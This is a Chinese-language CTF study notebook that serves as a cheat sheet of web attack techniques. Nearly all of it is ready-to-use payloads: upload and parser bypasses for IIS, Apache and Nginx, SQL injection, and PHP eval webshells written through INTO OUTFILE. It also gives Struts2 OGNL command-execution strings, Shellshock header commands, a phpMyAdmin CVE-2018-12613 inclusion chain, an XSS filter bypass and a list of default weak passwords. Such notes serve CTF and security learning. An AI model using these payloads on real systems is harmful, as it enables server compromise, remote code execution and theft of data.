ctf笔记 19.8.11-19.8.27

文件上传漏洞
当php上传失败后,可考虑文件白名单(改后缀名为php5、php3)
iis6解析漏洞:当上传到目录为/*.asp时,任何文件皆解析为asp,可以上传asp形式的图马或txt马,连接(连接时直接连即可)

SQL注入
数字型注入:无单引号
字符型注入:前有单引号后有注释符,万能密码' or '1'='1 除外
盲注:
可用工具、程序、burp爆破来辅助
正则注入
1 and 1=(select 1 from information_schema.tables where table_schema='xxx' and table_name regexp '^us[a-z]' limit 0,1)
注意:正则匹配所有项,与常规盲注的limit n,1不同,正则是不需要改的
同样,用like类似正则
select user() like 'ro%'

弱口令
admin admin/admin admin888/admin 123456/admin 域名/test test/test test123

文件解析漏洞
目录解析
/xx.asp/webshell.jpg
/xx.asa/webshell.jpg
文件解析
webshell.asp;jpg 适用于iis6
Apache解析漏洞
test.php.xxx.yyy x和y皆为无法识别的后缀名
copy xx.jpg /b + yy.txt /a xy.jpg 图马->构造sp.jpg,写入<?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>,访问sp.jpg/.php 适用于Fast-CGI开启 0x02 IIS 7.0/IIS 7.5/ Nginx版本<=8.03
/xx.jpg%00.php 在Fast-CGI关闭的情况下,Nginx <=0.8.37
罕见后缀
php族 phtml、pht、php3、php4、php5、pyc和pyo
.htaccess利用
.htaccess文件如果可以上传且能覆盖原有配置,文件写入配置<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
生效条件:Apache的配置文件中写上:AllowOverride All
加载mod_Rewrite模块,在Apache的配置文件中写上:LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
(Ubuntu中还需要) sudo a2enmod rewrite
利用
MIME类型修改:.htaccess中写: AddType application/x-httpd-php
或写<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>,可使shell.jpg解析为php
或写<FilesMatch "hello"> SetHandler application/x-httpd-php </FilesMatch>,只要包含hello就会被解析为php

sql写shell
1' union select 1,'<?php eval($_POST[a]);?>' into outfile '/var/www/tmp/a.php'# 用into outfile将一句话***写成php,前提:知道网站绝对路径 一句话***部分转hex
绝对路径 可以在写into outfile时虚构一个路径来爆出真的路径
bypass 空格绕过 比如屏蔽union 可改写为un union ion

struct2 s2-16漏洞
找action,然后构造以下代码(以index.action,redirect命令为例,代码作用为执行***命令并下载文件到本地)
index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls','\'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
new java.lang.String[]{'ls','\'}为***命令
对于 index.action?redirect: 后面的内容,有可能需要进行url转码
下列代码可用于回显网站绝对路径
index.action?redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#b=#a.getSession(),#c=#b.getServletContext(),#d=#c.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#d),#matt.getWriter().flush(),#matt.getWriter().close()}
以上代码均为ONGL表达式

bash 远程执行命令漏洞
找/cgi-bin/x.cgi 或直接找到cgi 用搜索引擎
利用漏洞() { :;}; + 命令执行 (用burp抓包,将此语句放入connection或user-agent)
命令示例:
() { :;}; echo; /bin/bash -c 'cat /key.txt'
() { :;}; echo; /bin/ls /
echo;是为了闭合函数

svn源码泄漏漏洞
/.svn/entries 显示网站目录数
/.svn/wc.db 可下载数据库,用数据库软件如SQLiteStudio打开(或者改名为txt尝试用notpad++打开),然后寻找key

bypass 0day
<svg><script xlink:href=data:,alert(1)></script></svg> 利用svg标签进行绕过

php后台文件包含漏洞 CVE-2018-12613
前提:登录后台
打开SQL,写select '<?php phpinfo()?>;'
burp抓包,记录下cookie(phpMyAdmin=xxx)
利用文件包含漏洞
index.php?target=dbsql.php%253f/../../../../../../../../../../../tmp/sess+之前记录的cookie
(Macos的session保存目录为/var/tmp/,Linux的session保存目录为/var/lib/php/sessions)
在phpinfo中寻找path,找网站的绝对路径
例:/var/www/html/
则通过sql into outfile的方式写马:
select '<?php @eval($_POST[a])?>;' into outfile '/var/www/html/a.php'

HTTP头注入(X-Forwarded-for)
抓包,发送至repeater,写入X-Forwarded-For:or 1=1
如果报错则存在注入
然后进行常规的sql注入(order by...union select...)

struct2 s2-04漏洞
利用方式:/struts/../ 对目录进行回溯
bypass:url编码 ..%2f,若无法正常回显则尝试二次url编码 ..%252f

struct2 s2-15漏洞br/>检验:/${1+1}.action,被执行则存在漏洞
exp:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()),#q}.action
bypass:url编码

参数提交:
/?+参数 可向网站提交参数,提交方式可用burp进行修改

文件读取
例:index.php?jpg=hei.jpg,改写为index.php?jpg=index.php可读取index.php的内容

Created by PhpStorm
phpStorm会自动生成.idea文件,其中会包含一组xml文件

上一篇:浏览器随机指纹js代码


下一篇:AOM:新型磷光锰(II)配合物及其新兴应用